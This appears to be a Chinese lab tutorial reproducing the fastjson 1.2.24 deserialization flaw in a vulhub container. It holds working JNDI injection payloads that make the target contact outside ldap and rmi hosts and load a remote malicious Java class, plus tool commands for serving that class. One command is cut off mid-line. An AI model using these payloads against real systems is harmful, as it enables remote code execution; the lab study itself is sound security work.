fastjson简介
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
这里json与java对象之间的转换,便是使用的序列化和反序列化,fastjson的反序列化也就是来自这里。
详细介绍:https://www.runoob.com/w3cnote/fastjson-intro.html
漏洞环境
vulhub
仅是复现漏洞可以使用vulbub,直接使用docker启动漏洞环境即可。
环境安装参考以下链接
安装docker:https://blog.csdn.net/BThinker/article/details/123358697
vulhub下载:https://github.com/vulhub/vulhub
使用到的命令:
# 启动
docker-compose up -d
# 查看运行情况
docker ps
# 进入容器
docker exec -it [ID] bash
# 停止容器
docker stop [ID]
漏洞复现
使用JNDI注入测试工具:JNDI-Injection-Exploit-1.0-SNAPSHOT
下载地址:https://gitee.com/yijingsec/JNDI-Injection-Exploit
开启漏洞环境,访问
构造post请求,可以修改name参数的值
使用dnslog平台判断是否存在漏洞
{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://df5789e898.ipv6.1433.eu.org","autoCommit":true}}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT构造payload利用漏洞
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.232.1
利用成功则会再tmp目录下生成一个success文件
{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.232.1:1099/u9plmp","autoCommit":true}}
进入docker查看,利用成功
也可使用反序列化利用工具 marshalsec,使用起来稍微麻烦一些,需要先构造一个一个恶意类
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac,编译为class文件,在class目录下使用python开启远程下载python http.server 8888
然后使用以下命令远程加载恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999
具体步骤:https://blog.csdn.net/aetlypdlg_ys/article/details/138752859
marshalsec使用方法参考:https://blog.csdn.net/whatday/article/details/107942941
漏洞详解
源码环境
可使用IDEA,maven添加依赖,源码可参考
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
直接使用IDEA将vulhub中的jar包复制出来,导入到项目中,即可得到源码。
重新加载maven,然后运行
漏洞详解参考
-
针对fastjson漏洞的代码讲解,基础易懂:https://github.com/Maskhe/javasec/blob/master/9.fastjson-1.2.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md
-
针对Fastjson系列漏洞的讲解:https://xz.aliyun.com/t/13386,包括序列化与反序列化,漏洞成因,工具原理等,无比详细。